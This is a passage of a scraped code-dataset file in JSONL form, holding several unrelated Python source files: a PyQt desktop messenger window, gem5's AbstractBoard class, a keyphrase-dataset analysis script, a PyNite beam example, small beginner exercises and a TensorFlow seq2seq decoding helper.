default\n\n","repo_name":"sujoykroy/motion-picture","sub_path":"editor/MotionPicture/gui_utils/image_combo_box.py","file_name":"image_combo_box.py","file_ext":"py","file_size_in_byte":1460,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"14859155860","text":"import threading\nimport time\nfrom time import sleep\n\nimport PyQt5.QtGui\nfrom PyQt5.QtCore import QModelIndex\nfrom PyQt5.QtWidgets import QMainWindow, QApplication\n\nfrom Client.Actions.ActionElements.TransferType import TransferType\nfrom Client.DesktopApp.DataHandling.ActionHandler import ActionHandler\nfrom Client.DesktopApp.ServerCommunication.ConnectToServerDesktop import ConnectToServerDesktop\nfrom Client.DesktopApp.UI.AuthorizationWindow import AuthorizationWindow\nfrom Client.DesktopApp.UI.Ui_MainWindow import Ui_MainWindow\nfrom Client.Elements.UserInfoContainer import UserInfoContainer\n\n\nclass MainWindow(QMainWindow):\n def __init__(self, parent=None):\n super().__init__(parent)\n # Привязка формы\n self.__ui = Ui_MainWindow()\n self.__ui.setupUi(self)\n # Кнопки\n self.__ui.pushButton_SignOut.pressed.connect(self.__sign_out_command)\n self.__ui.pushButton_SendMessage.pressed.connect(self.__send_message_command)\n self.__ui.radioButton_AllUsers.pressed.connect(self.__get_all_users_command)\n self.__ui.radioButton_UsersOnline.pressed.connect(self.__get_online_users_command)\n # Общие ресурсы\n self.__user_info = UserInfoContainer()\n self.__my_client = ConnectToServerDesktop(self.__user_info)\n self.__authorization_window = AuthorizationWindow(self.__my_client, self.__user_info)\n self.__list_view_users_model = PyQt5.QtGui.QStandardItemModel()\n self.__ui.listView_Users.setModel(self.__list_view_users_model)\n self.__list_view_messages_model = PyQt5.QtGui.QStandardItemModel()\n self.__ui.listView_MessageHistory.setModel(self.__list_view_messages_model)\n self.__remember_index = self.__ui.listView_Users.currentIndex()\n # Авторизация пользователя\n self.__sign_out_command()\n # Поток получения сообщений\n self.__time_sleep = 2\n self.__is_continue_getting_messages = True\n threading.Thread(target=self.__get_messages_command).start()\n # При закрытии окна\n self.__my_close = False\n\n def __sign_out_command(self):\n self.__clear_all()\n while not self.__user_info.is_authorized():\n self.__authorization_window.exec()\n else:\n self.__is_continue_getting_messages = True\n threading.Thread(target=self.__get_messages_command).start()\n\n def __send_message_command(self):\n selected_user = self.__ui.listView_Users.currentIndex().data()\n if selected_user is None:\n selected_user = self.__remember_user\n selected_user_login = selected_user.split(\"\\n\")[0]\n message = self.__ui.lineEdit_SendMessageField.text()\n if message.__len__() > 0 and selected_user_login.__len__() > 0:\n self.__user_info.last_transfer_type = TransferType.MessageSending\n self.__user_info.last_data_to_send.addressee = selected_user_login\n self.__user_info.last_data_to_send.message_to_send = message\n self.__my_client.connect_to_server()\n self.__ui.lineEdit_SendMessageField.clear()\n\n def __get_all_users_command(self):\n self.__time_sleep = 2\n self.__user_info.last_transfer_type = TransferType.GetAllUsers\n self.__my_client.connect_to_server()\n self.__fill_users_model(self.__user_info.last_data_to_send.get_all_users())\n self.__is_continue_getting_users = False\n\n def __get_online_users_command(self):\n # Поток получения пользователей\n self.__time_sleep = 0.3\n self.__is_continue_getting_users = True\n threading.Thread(target=self.__online_users_thread_command).start()\n\n def __get_messages_command(self):\n while threading.main_thread().is_alive() and self.__is_continue_getting_messages:\n if self.__user_info.is_authorized():\n self.__user_info.last_transfer_type = TransferType.MessageRequest\n self.__my_client.connect_to_server()\n self.__fill_message_history()\n time.sleep(self.__time_sleep)\n else:\n continue\n\n def __online_users_thread_command(self):\n while threading.main_thread().is_alive() and self.__is_continue_getting_users:\n if self.__user_info.is_authorized():\n selected_user = self.__ui.listView_Users.currentIndex().data()\n if selected_user is not None:\n self.__remember_user = selected_user\n self.__user_info.last_transfer_type = TransferType.GetOnlineUsers\n self.__my_client.connect_to_server()\n self.__fill_users_model(self.__user_info.last_data_to_send.get_online_users())\n self.__ui.listView_MessageHistory.scrollToBottom()\n time.sleep(1)\n else:\n continue\n\n def __fill_users_model(self, to_fill: list):\n self.__list_view_users_model.clear()\n for el in to_fill:\n item = PyQt5.QtGui.QStandardItem(el)\n self.__list_view_users_model.appendRow(item)\n\n def __fill_message_history(self):\n self.__list_view_messages_model.clear()\n self.__user_info.last_data_to_send.message_history.reverse()\n for el in self.__user_info.last_data_to_send.message_history:\n item = PyQt5.QtGui.QStandardItem(el)\n self.__list_view_messages_model.appendRow(item)\n\n def __clear_all(self):\n self.__is_continue_getting_messages = False\n # Выход из аккаунта\n if self.__user_info.is_authorized():\n self.__user_info.last_transfer_type = TransferType.SignOut\n self.__my_client.connect_to_server()\n # Чистка всех полей/сущностей\n self.__user_info.clear_user()\n self.__list_view_messages_model.clear()\n self.__list_view_users_model.clear()\n self.__ui.lineEdit_SendMessageField.clear()\n\n def __close_event(self, event):\n if self.__my_close:\n self.__user_info.last_transfer_type = TransferType.SignOut\n self.__my_client.connect_to_server()\n else:\n event.ignore()\n","repo_name":"JustLornet/PythonDesktopMessenger","sub_path":"src/Client/DesktopApp/UI/MainWindow.py","file_name":"MainWindow.py","file_ext":"py","file_size_in_byte":6277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"33661682817","text":"from abc import ABCMeta, abstractmethod\nimport inspect\n\nfrom .mem_mode import MemMode, mem_mode_to_string\nfrom ...resources.workload import AbstractWorkload\n\nfrom m5.objects import (\n AddrRange,\n System,\n Port,\n IOXBar,\n ClockDomain,\n SrcClockDomain,\n VoltageDomain,\n)\n\nfrom typing import List, Optional, Sequence, Tuple\n\n\nclass AbstractBoard:\n \"\"\"The abstract board interface.\n\n Boards are used as the object which can connect together all other\n components. This abstract class defines the external interface that other\n boards must provide. Boards can be specialized for different ISAs or system\n designs (e.g., core counts, cache types, memory channels, I/O devices, etc)\n\n In addition to providing the place that system components are connected,\n the board also exposes an interface for the caches, processor, and memory\n to interact.\n\n The board also exposes an interface to set up I/O devices which needs to be\n specialized for each ISA and/or platform.\n\n Board inherits from System and can therefore be used as a System simobject\n when required.\n \"\"\"\n\n __metaclass__ = ABCMeta\n\n def __init__(\n self,\n clk_freq: str,\n processor: \"AbstractProcessor\",\n memory: \"AbstractMemorySystem\",\n cache_hierarchy: Optional[\"AbstractCacheHierarchy\"],\n ) -> None:\n \"\"\"\n :param clk_freq: The clock frequency for this board.\n :param processor: The processor for this board.\n :param memory: The memory for this board.\n :param cache_hierarchy: The Cache Hierarchy for this board.\n In some boards caches can be optional. If so,\n that board must override `_connect_things`.\n \"\"\"\n\n if not isinstance(self, System):\n raise Exception(\"A gem5 stdlib board must inherit from System.\")\n\n # Set up the clock domain and the voltage domain.\n self.clk_domain = SrcClockDomain()\n self.clk_domain.clock = clk_freq\n self.clk_domain.voltage_domain = VoltageDomain()\n\n # Set the processor, memory, and cache hierarchy.\n self.processor = processor\n self.memory = memory\n self._cache_hierarchy = cache_hierarchy\n if cache_hierarchy is not None:\n self.cache_hierarchy = cache_hierarchy\n\n # This variable determines whether the board is to be executed in\n # full-system or syscall-emulation mode. This is set when the workload\n # is defined. Whether or not the board is to be run in FS mode is\n # determined by which kind of workload is set.\n self._is_fs = None\n\n # This variable is used to record the checkpoint directory which is\n # set when declaring the board's workload and then used by the\n # Simulator module.\n self._checkpoint = None\n\n # Setup the board and memory system's memory ranges.\n self._setup_memory_ranges()\n\n # Setup board properties unique to the board being constructed.\n self._setup_board()\n\n # A private variable to record whether `_connect_things` has been\n # been called.\n self._connect_things_called = False\n\n def get_processor(self) -> \"AbstractProcessor\":\n \"\"\"Get the processor connected to the board.\n\n :returns: The processor.\n \"\"\"\n return self.processor\n\n def get_memory(self) -> \"AbstractMemory\":\n \"\"\"Get the memory (RAM) connected to the board.\n\n :returns: The memory system.\n \"\"\"\n return self.memory\n\n def get_mem_ports(self) -> Sequence[Tuple[AddrRange, Port]]:\n \"\"\"Get the memory ports exposed on this board\n\n Note: The ports should be returned such that the address ranges are\n in ascending order.\n \"\"\"\n return self.get_memory().get_mem_ports()\n\n def get_cache_hierarchy(self) -> Optional[\"AbstractCacheHierarchy\"]:\n \"\"\"Get the cache hierarchy connected to the board.\n\n :returns: The cache hierarchy.\n \"\"\"\n return self._cache_hierarchy\n\n def get_cache_line_size(self) -> int:\n \"\"\"Get the size of the cache line.\n\n :returns: The size of the cache line size.\n \"\"\"\n return self.cache_line_size\n\n def connect_system_port(self, port: Port) -> None:\n self.system_port = port\n\n def set_mem_mode(self, mem_mode: MemMode) -> None:\n \"\"\"\n Set the memory mode of the board.\n\n :param mem_mode: The memory mode the board is to be set to.\n \"\"\"\n self.mem_mode = mem_mode_to_string(mem_mode=mem_mode)\n\n def get_clock_domain(self) -> ClockDomain:\n \"\"\"Get the clock domain.\n :returns: The clock domain.\n \"\"\"\n return self.clk_domain\n\n def _set_fullsystem(self, is_fs: bool) -> None:\n \"\"\"\n Sets whether this board is to be run in FS or SE mode. This is set\n via the workload (the workload specified determines whether this will\n be run in FS mode or not). This is not intended to be set in a\n configuration script ergo, it's private.\n\n :param is_fs: Set whether the board is to be run in FS mode or SE mode.\n \"\"\"\n self._is_fs = is_fs\n\n def is_fullsystem(self) -> bool:\n \"\"\"\n Returns True if the board is to be run in FS mode. Otherwise the board\n is to be run in Se mode. An exception will be thrown if this has not\n been set.\n\n This function is used by the Simulator module to setup the simulation\n correctly.\n \"\"\"\n if self._is_fs == None:\n raise Exception(\n \"The workload for this board not yet to be set. \"\n \"Whether the board is to be executed in FS or SE \"\n \"mode is determined by which 'set workload' \"\n \"function is run.\"\n )\n return self._is_fs\n\n def set_workload(self, workload: AbstractWorkload) -> None:\n \"\"\"\n Set the workload for this board to run.\n\n This function will take the workload specified and run the correct\n workload function (e.g., `set_kernel_disk_workload`) with the correct\n parameters\n\n :params workload: The workload to be set to this board.\n \"\"\"\n\n try:\n func = getattr(self, workload.get_function_str())\n except AttributeError:\n raise Exception(\n \"This board does not support this workload type. \"\n f\"This board does not contain the necessary \"\n f\"`{workload.get_function_str()}` function\"\n )\n\n func_signature = inspect.signature(func)\n for param_name in workload.get_parameters().keys():\n if param_name not in func_signature.parameters.keys():\n raise Exception(\n \"Workload specifies non-existent parameter \"\n f\"`{param_name}` for function \"\n f\"`{workload.get_function_str()}` \"\n )\n\n func(**workload.get_parameters())\n\n @abstractmethod\n def _setup_board(self) -> None:\n \"\"\"\n This function is called in the AbstractBoard constructor, before the\n memory, processor, and cache hierarchy components are incorporated via\n `_connect_thing()`, but after the `_setup_memory_ranges()` function.\n This function should be overridden by boards to specify components,\n connections unique to that board.\n \"\"\"\n raise NotImplementedError\n\n # Technically `get_dma_ports` returns a list. This list could be empty to\n # indicate the presense of dma ports. Though I quite like having this\n # boolean to quickly check a board.\n @abstractmethod\n def has_dma_ports(self) -> bool:\n \"\"\"Determine whether the board has DMA ports or not.\n\n :returns: True if the board has DMA ports, otherwise False.\n \"\"\"\n raise NotImplementedError\n\n @abstractmethod\n def get_dma_ports(self) -> List[Port]:\n \"\"\"Get the board's Direct Memory Access ports.\n This abstract method must be implemented within the subclasses if they\n support DMA and/or full system simulation.\n\n :returns: A List of the Direct Memory Access ports.\n\n \"\"\"\n raise NotImplementedError\n\n @abstractmethod\n def has_io_bus(self) -> bool:\n \"\"\"Determine whether the board has an IO bus or not.\n\n :returns: True if the board has an IO bus, otherwise False.\n \"\"\"\n raise NotImplementedError\n\n @abstractmethod\n def get_io_bus(self) -> IOXBar:\n \"\"\"Get the board's IO Bus.\n This abstract method must be implemented within the subclasses if they\n support DMA and/or full system simulation.\n\n The I/O bus is a non-coherent bus (in the classic caches). On the CPU\n side, it accepts requests meant for I/O devices. On the memory side, it\n forwards these requests to the devices (e.g., the interrupt\n controllers on each core).\n\n :returns: The I/O Bus.\n \"\"\"\n raise NotImplementedError\n\n @abstractmethod\n def has_coherent_io(self) -> bool:\n \"\"\"Determine whether the board needs coherent I/O\n\n :returns: True if the board needs coherent I/O, false otherwise\n \"\"\"\n raise NotImplementedError\n\n @abstractmethod\n def get_mem_side_coherent_io_port(self):\n \"\"\"Get the memory-side coherent I/O port.\n This abstract method must be implemented if has_coherent_io is true.\n\n This returns a *port* (not a bus) that should be connected to a\n CPU-side port for which coherent I/O (DMA) is issued.\n \"\"\"\n raise NotImplementedError\n\n @abstractmethod\n def _setup_memory_ranges(self) -> None:\n \"\"\"\n Set the memory ranges for this board and memory system.\n\n This is called in the constructor, prior to `_setup_board` and\n `_connect_things`. It should query the board's memory to determine the\n size and the set the memory ranges on the memory system and on the\n board.\n\n The simplest implementation sets the board's memory range to the size\n of memory and memory system's range to be the same as the board. Full\n system implementations will likely need something more complicated.\n\n Notes\n -----\n * This *must* be called prior to the incorporation of the cache\n hierarchy (via `_connect_things`) as cache hierarchies depend upon\n knowing the memory system's ranges.\n \"\"\"\n raise NotImplementedError\n\n def _connect_things(self) -> None:\n \"\"\"Connects all the components to the board.\n\n The order of this board is always:\n\n 1. Connect the memory.\n 2. Connect the cache hierarchy.\n 3. Connect the processor.\n\n Developers may build upon this assumption when creating components.\n\n Notes\n -----\n\n * The processor is incorporated after the cache hierarchy due to a bug\n noted here: https://gem5.atlassian.net/browse/GEM5-1113. Until this\n bug is fixed, this ordering must be maintained.\n * Once this function is called `_connect_things_called` *must* be set\n to `True`.\n \"\"\"\n\n if self._connect_things_called:\n raise Exception(\n \"The `_connect_things` function has already been called.\"\n )\n\n # Incorporate the memory into the motherboard.\n self.get_memory().incorporate_memory(self)\n\n # Incorporate the cache hierarchy for the motherboard.\n if self.get_cache_hierarchy():\n self.get_cache_hierarchy().incorporate_cache(self)\n\n # Incorporate the processor into the motherboard.\n self.get_processor().incorporate_processor(self)\n\n self._connect_things_called = True\n\n def _post_instantiate(self):\n \"\"\"Called to set up anything needed after m5.instantiate\"\"\"\n self.get_processor()._post_instantiate()\n if self.get_cache_hierarchy():\n self.get_cache_hierarchy()._post_instantiate()\n self.get_memory()._post_instantiate()\n\n def _pre_instantiate(self):\n \"\"\"To be called immediately before m5.instantiate. This is where\n `_connect_things` is executed by default.\"\"\"\n\n # Connect the memory, processor, and cache hierarchy.\n self._connect_things()\n\n def _connect_things_check(self):\n \"\"\"\n Here we check that connect things has been called and throw an\n Exception if it has not.\n\n Since v22.1 `_connect_things` function has\n been moved from the AbstractBoard constructor to the\n `_pre_instantation` function. Users who have used the gem5 stdlib\n components (i.e., boards which inherit from AbstractBoard) and the\n Simulator module should notice no change. Those who do not use the\n Simulator module and instead called `m5.instantiate` directly must\n call `AbstractBoard._pre_instantation` prior so `_connect_things` is\n called. In order to avoid confusion, this check has been incorporated\n and the Exception thrown explains the fix needed to convert old scripts\n to function with v22.1.\n\n This function is called in `AbstractSystemBoard.createCCObject` and\n ArmBoard.createCCObject`. Both these functions override\n `SimObject.createCCObject`. We can not do that here as AbstractBoard\n does not inherit form System.\n \"\"\"\n if not self._connect_things_called:\n raise Exception(\n \"\"\"\nAbstractBoard's `_connect_things` function has not been called. This is likely\ndue to not running a board outside of the gem5 Standard Library Simulator\nmodule. If this is the case, this can be resolved by calling\n`._pre_instantiate()` prior to `m5.instantiate()`.\n\"\"\"\n )\n","repo_name":"gem5/gem5","sub_path":"src/python/gem5/components/boards/abstract_board.py","file_name":"abstract_board.py","file_ext":"py","file_size_in_byte":13888,"program_lang":"python","lang":"en","doc_type":"code","stars":1196,"dataset":"github-code","pt":"78"} +{"seq_id":"39502826960","text":"from keyphrase_extractor import *\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport os\nimport shutil\n\n\noutput_path = 'dataset_eda_updated/'\n\nif os.path.exists(output_path):\n shutil.rmtree(output_path)\n\nos.mkdir(output_path)\n\nkeyphrase_extractor_chem_verbose = KeyphraseExtractor('oli-gen-chem', verbose=True)\nfor candidate_method in ['ngrams', 'parsing']:\n keyphrase_extractor_chem_verbose.get_candidate_keyphrases(candidate_method, verbose=True)\nprint('--------\\n\\n')\ndataset_chem_verbose = keyphrase_extractor_chem_verbose.data_df\ndataset_chem_verbose['Dataset'] = pd.Series(['oli-gen-chem' for x in range(len(dataset_chem_verbose.index))])\n\nkeyphrase_extractor_bio = KeyphraseExtractor('oli-intro-bio', verbose=True)\nfor candidate_method in ['ngrams', 'parsing']:\n keyphrase_extractor_bio.get_candidate_keyphrases(candidate_method, verbose=True)\nprint('--------\\n\\n')\ndataset_bio = keyphrase_extractor_bio.data_df\ndataset_bio['Dataset'] = pd.Series(['oli-intro-bio' for x in range(len(dataset_bio.index))])\n\nkeyphrase_extractor_inspec = KeyphraseExtractor('inspec', oli_labels='short', verbose=True)\nfor candidate_method in ['ngrams', 'parsing']:\n keyphrase_extractor_inspec.get_candidate_keyphrases(candidate_method, verbose=True)\nprint('--------\\n\\n')\ndataset_inspec = keyphrase_extractor_inspec.data_df\ndataset_inspec['Dataset'] = pd.Series(['inspec' for x in range(len(dataset_inspec.index))])\ndataset_inspec = dataset_inspec.drop(['id', 'document', 'other_metadata', 'doc_bio_tags', 'extractive_keyphrases', 'abstractive_keyphrases', 'processed_document_whole', 'processed_document_tokenized'], axis=1)\n\nkeyphrase_extractor_kdd = KeyphraseExtractor('kdd', oli_labels='short', verbose=True)\nfor candidate_method in ['ngrams', 'parsing']:\n keyphrase_extractor_kdd.get_candidate_keyphrases(candidate_method, verbose=True)\nprint('--------\\n\\n')\ndataset_kdd = keyphrase_extractor_kdd.data_df\ndataset_kdd['Dataset'] = pd.Series(['kdd' for x in range(len(dataset_kdd.index))])\ndataset_kdd = dataset_kdd.drop(['id', 'document', 'other_metadata', 'doc_bio_tags', 'extractive_keyphrases', 'abstractive_keyphrases', 'processed_document_whole', 'processed_document_tokenized'], axis=1)\n\n# print(dataset_chem_verbose.head())\n# print(dataset_bio.head())\n# print(dataset_inspec.head())\n# print(dataset_kdd.head())\n\n# gold kp per document across all datasets\nfull_dataset = pd.concat([dataset_chem_verbose, dataset_bio, dataset_inspec, dataset_kdd])\nfull_dataset['Gold Keyphrase Count'] = full_dataset['keyphrases'].str.len().fillna(0).astype(int)\n\nsns.boxplot(data=full_dataset, x='Dataset', y='Gold Keyphrase Count', showfliers=False)\nplt.title('Number of Gold Keyphrases Per Document Across AKE Datasets')\nfpath = 'dataset_eda_updated/target_keyphrases_per_document.pdf'\nplt.savefig(fpath)\nplt.close()\n\nkp_list_chem = pd.Series([item[0] for item in dataset_chem_verbose['keyphrases'].values]).unique()\nkp_list_bio = pd.Series([item[0] for item in dataset_bio['keyphrases'].values]).unique()\n\nkp_list_lengths_chem = [len(word_tokenize(kp)) for kp in kp_list_chem]\nkp_list_lengths_bio = [len(word_tokenize(kp)) for kp in kp_list_bio]\nkp_list_lengths_inspec = [len(word_tokenize(kp)) for kp_list in dataset_inspec.keyphrases for kp in kp_list]\nkp_list_lengths_kdd = [len(word_tokenize(kp)) for kp_list in dataset_kdd.keyphrases for kp in kp_list]\n\ndoc_lengths_chem = [len(word_tokenize(doc)) for doc in dataset_chem_verbose.whole_document]\ndoc_lengths_bio = [len(word_tokenize(doc)) for doc in dataset_bio.whole_document]\ndoc_lengths_inspec = [len(word_tokenize(doc)) for doc in dataset_inspec.whole_document]\ndoc_lengths_kdd = [len(word_tokenize(doc)) for doc in dataset_kdd.whole_document]\n\nkp_chem = pd.DataFrame()\nkp_chem['KP Lengths'] = kp_list_lengths_chem\nkp_chem['Dataset'] = pd.Series(['oli-gen-chem' for x in range(len(kp_chem.index))])\n\ndoc_chem = pd.DataFrame()\ndoc_chem['Document Lengths'] = doc_lengths_chem\ndoc_chem['Dataset'] = pd.Series(['oli-gen-chem' for x in range(len(doc_chem.index))])\n\nkp_bio = pd.DataFrame()\nkp_bio['KP Lengths'] = kp_list_lengths_bio\nkp_bio['Dataset'] = pd.Series(['oli-intro-bio' for x in range(len(kp_bio.index))])\n\ndoc_bio = pd.DataFrame()\ndoc_bio['Document Lengths'] = doc_lengths_bio\ndoc_bio['Dataset'] = pd.Series(['oli-intro-bio' for x in range(len(doc_bio.index))])\n\nkp_inspec = pd.DataFrame()\nkp_inspec['KP Lengths'] = kp_list_lengths_inspec\nkp_inspec['Dataset'] = pd.Series(['inspec' for x in range(len(kp_inspec.index))])\n\ndoc_inspec = pd.DataFrame()\ndoc_inspec['Document Lengths'] = doc_lengths_inspec\ndoc_inspec['Dataset'] = pd.Series(['inspec' for x in range(len(doc_inspec.index))])\n\nkp_kdd = pd.DataFrame()\nkp_kdd['KP Lengths'] = kp_list_lengths_kdd\nkp_kdd['Dataset'] = pd.Series(['kdd' for x in range(len(kp_kdd.index))])\n\ndoc_kdd = pd.DataFrame()\ndoc_kdd['Document Lengths'] = doc_lengths_kdd\ndoc_kdd['Dataset'] = pd.Series(['kdd' for x in range(len(doc_kdd.index))])\n\nfull_kp = pd.concat([kp_chem, kp_bio, kp_inspec, kp_kdd])\nfull_doc = pd.concat([doc_chem, doc_bio, doc_inspec, doc_kdd])\n\n# length (number of tokens) per gold kp\nsns.boxplot(data=full_kp, x='Dataset', y='KP Lengths', showfliers=False)\nplt.title('Length of Gold Keyphrases (# Tokens) Across AKE Datasets')\nfpath = 'dataset_eda_updated/target_keyphrase_length.pdf'\nplt.savefig(fpath)\nplt.close()\n\n# length (number of tokens) per document\nsns.boxplot(data=full_doc, x='Dataset', y='Document Lengths', showfliers=False)\nplt.title('Length of Documents (# Tokens) Across AKE Datasets')\nfpath = 'dataset_eda_updated/document_length.pdf'\nplt.savefig(fpath)\nplt.close()\n","repo_name":"IEClab-NCSU/SMART","sub_path":"SMART_CORE/skill_labeling/embedding_ake_study/dataset_eda.py","file_name":"dataset_eda.py","file_ext":"py","file_size_in_byte":5608,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"1897264426","text":"def linha():\n print('-='*20)\n\n\ndef fatorial(n = 1): #Parametro opcional(caso nao seja passado valor pra n ele vale 1)\n f = 1\n for c in range(n, 0, -1):\n f = f * c\n return f\n\n\ndef par(n=0):\n if n % 2 == 0:\n return True\n else:\n return False\n\n\n#Programa Principal\nnum = int(input('Digite um número: '))\nprint(f'O fatorial do número {num} é {fatorial(num)}')\nlinha()\nf1 = fatorial(4)\nf2 = fatorial(5)\nf3 = fatorial()\nprint(f'Os resultados dos fatoriais de 4, 5 e nada são {f1}, {f2} e {f3}')\nlinha()\nrsp = int(input('Digite um número para analisarmos se é par ou não: '))\nprint(f'{par(rsp)}')\nif par(rsp):\n print('É par!')\nelse:\n print('Não é par!')\n","repo_name":"millenagena/Python-Scripts","sub_path":"###COMANDOS AULA21.py","file_name":"###COMANDOS AULA21.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"4976346094","text":"# Example of a simply supported beam with a point load.\n# Units used for the model in this example are inches and kips\n\n# Import `FEModel3D` from `PyNite`\nfrom PyNite import FEModel3D\n\n# Import 'Visualization' for rendering the model\nfrom PyNite import Visualization\n\n# Create a new finite element model\nSimpleBeam = FEModel3D()\n\n# Add nodes (14 ft apart)\nSimpleBeam.add_node('N1', 0, 0, 0)\nSimpleBeam.add_node('N2', 14*12, 0, 0)\n\n# Add a beam with the following properties:\n# E = 29000 ksi, G = 11400 ksi, Iy = 100 in^4, Iz = 150 in^4, J = 250 in^4, A = 20 in^2\nSimpleBeam.add_member('M1', 'N1', 'N2', 29000, 11400, 100, 150, 250, 20)\n\n# Provide simple supports\nSimpleBeam.def_support('N1', True, True, True, True, False, False) # Constrained for torsion at 'N1'\nSimpleBeam.def_support('N2', True, True, True, False, False, False) # Not constrained for torsion at 'N2'\n\n# Add a downward point load of 5 kips at the midspan of the beam\nSimpleBeam.add_member_pt_load('M1', 'Fy', -5, 7*12, 'D') # 5 kips Dead load\nSimpleBeam.add_member_pt_load('M1', 'Fy', -8, 7*12, 'L') # 8 kips Live load\n\n# Add load combinations\nSimpleBeam.add_load_combo('1.4D', {'D':1.4})\nSimpleBeam.add_load_combo('1.2D+1.6L', {'D':1.2, 'L':1.6})\n\n# Analyze the beam and perform a statics check\nSimpleBeam.analyze(check_statics=True)\n\nVisualization.render_model(SimpleBeam, annotation_size=10, deformed_shape=True, deformed_scale=30, render_loads=True, combo_name='1.2D+1.6L')\n\n# Print the shear, moment, and deflection diagrams\nSimpleBeam.Members['M1'].plot_shear('Fy', '1.2D+1.6L')\nSimpleBeam.Members['M1'].plot_moment('Mz', '1.2D+1.6L')\nSimpleBeam.Members['M1'].plot_deflection('dy', '1.2D+1.6L')\n\n# Print reactions at each end of the beam\nprint('Left Support Reaction:', SimpleBeam.Nodes['N1'].RxnFY['1.2D+1.6L'], 'kip')\nprint('Right Support Reacton:', SimpleBeam.Nodes['N2'].RxnFY['1.2D+1.6L'], 'kip')\n\n# Print the max/min shears and moments in the beam\nprint('Maximum Shear:', SimpleBeam.Members['M1'].max_shear('Fy', '1.2D+1.6L'), 'kip')\nprint('Minimum Shear:', SimpleBeam.Members['M1'].min_shear('Fy', '1.2D+1.6L'), 'kip')\nprint('Maximum Moment:', SimpleBeam.Members['M1'].max_moment('Mz', '1.2D+1.6L')/12, 'kip-ft')\nprint('Minimum Moment:', SimpleBeam.Members['M1'].min_moment('Mz', '1.2D+1.6L')/12, 'kip-ft')\n\n# Print the max/min deflections in the beam\nprint('Maximum Deflection:', SimpleBeam.Members['M1'].max_deflection('dy', '1.2D+1.6L'), 'in')\nprint('Minimum Deflection:', SimpleBeam.Members['M1'].min_deflection('dy', '1.2D+1.6L'), 'in')\n\n# The following lines can be uncommented to create a PDF report. Follow the instructions on the\n# wiki under \"Generating PDF Reports\" to prevent errors. The report will be output to the PyNite\n# folder unless the 'output_path' variable below is modified.\n\n# from PyNite import Reporting\n# Reporting.CreateReport(SimpleBeam, output_filepath='.//PyNite Report.pdf', plates=False, plate_corner_forces=False, \\\n# plate_center_forces=False, plate_corner_membrane=False, plate_center_membrane=False)","repo_name":"tamalone1/PyNite","sub_path":"Examples/Simple Beam - Point Load.py","file_name":"Simple Beam - Point Load.py","file_ext":"py","file_size_in_byte":3042,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"78"} +{"seq_id":"40368331707","text":"# 4_12 negative_power\na = float(input())\nn = int(input())\n\n\ndef power(a, n):\n if n == 0:\n return 1\n\n if a == 0:\n return 0\n\n res = 1\n i = n\n while i != 0:\n if n > 0:\n res = res * a\n i = i - 1\n else:\n res = 1 / a * res\n i = i + 1\n return res\n\nprint(power(a, n))\n","repo_name":"rshekhovtsov/py-intro","sub_path":"week4/4_12 negative_power.py","file_name":"4_12 negative_power.py","file_ext":"py","file_size_in_byte":350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"5218986721","text":"# -*- coding:utf-8 -*-\n\nimport tensorflow as tf\nimport numpy as np\nimport math\nfrom tqdm import tqdm\nfrom path_config import embedding_matrix_path, train_x_path, train_y_path, test_x_path\n\n# load embedding\ndef load_embedding_matrix():\n return np.load(embedding_matrix_path + '.npy')\n\ndef load_train_Dataset(max_enc_len, max_dec_len):\n train_X = np.load(train_x_path + '.npy')\n train_Y = np.load(train_y_path + '.npy')\n \n train_X = train_X[:, :max_enc_len] \n train_Y = train_Y[:, :max_dec_len]\n return train_X, train_Y\n\ndef load_test_dataset(max_enc_len):\n test_X = np.load(test_x_path)[:, :max_enc_len]\n return test_X\n\ndef train_batch_generator(batch_size, max_enc_len=200, max_dec_len=150):\n train_X, train_Y = load_train_Dataset(max_enc_len, max_dec_len)\n dataset = tf.data.Dataset.from_tensor_slices((train_X, train_Y)).shuffle(len(train_X))\n dataset = dataset.batch(batch_size, drop_remainder=True)\n steps_per_epoch = len(train_X) // batch_size\n\n return dataset, steps_per_epoch\n\ndef greedy_decode(model, test_X, params, vocab):\n batch_size = params['batch_size']\n # 返回的结果list\n results = []\n # 输入的样本数\n sample_size = len(test_X)\n # batch 操作轮数 math.ceil向上取整 小数 +1\n steps_epoch = math.ceil(sample_size / batch_size)\n for i in tqdm(range(steps_epoch)):\n batch_data = test_X[i * batch_size:(i+1) * batch_size]\n results += batch_greedy_decode(model, batch_data, vocab, params) \n return results \n\ndef batch_greedy_decode(model, batch_data, vocab, params):\n batch_size = len(batch_data)\n predicts = [''] * batch_size\n\n inps = tf.convert_to_tensor(batch_data)\n # 初始化隐藏层的输入\n hidden = [tf.zeros((batch_size, params['enc_units']))]\n # cerate encoder\n enc_output, enc_hidden = model.encoder(inps, hidden)\n dec_hidden = enc_hidden\n # *BATCH_SIZE\n dec_input = tf.expand_dims([vocab.word_to_id(vocab.STOP_DECONDING)] * batch_size,1)\n \n context_vector, _ = model.attention(dec_hidden, enc_output)\n\n for t in range(params['max_dec_len']):\n # 上下文计算\n context_vector, attention_weights = model.attention(dec_hidden, enc_output)\n predictions, dec_hidden = model.decoder(dec_input,\n dec_hidden,\n enc_output,\n context_vector)\n # id转换,贪婪搜索\n predicted_ids = tf.argmax(predictions, axis=1).numpy()\n\n for index_, predicter_id in enumerate(predicted_ids):\n predicts[index_] += vocab.id_to_word(predicter_id) + ' '\n \n # 使用predicted_ids dim + 1 , 本次更新的dec_hidden 作为下一个词的预测输入\n dec_input = tf.expand_dims(predicter_id, 1)\n\n results = []\n for predict in predicts:\n predict = predict.strip()\n if vocab.STOP_DECONDING in predict:\n # 截断结束标记前的内容\n predict = predict[:predict.index(vocab.STOP_DECODING)]\n results.append(predict)\n return results\n\n\nclass Vocab:\n PAD_TOKEN = ''\n UNKOWN_TOKEN = ''\n START_DECODING = ''\n STOP_DECONDING = ''\n\n def __init__(self, vocab_file, vocab_max_size=None):\n \"\"\"\n Vocab 对象,vocab基本操作封装\n :param vocab_file: Vocab 存储路径\n :param vocab_max_size: 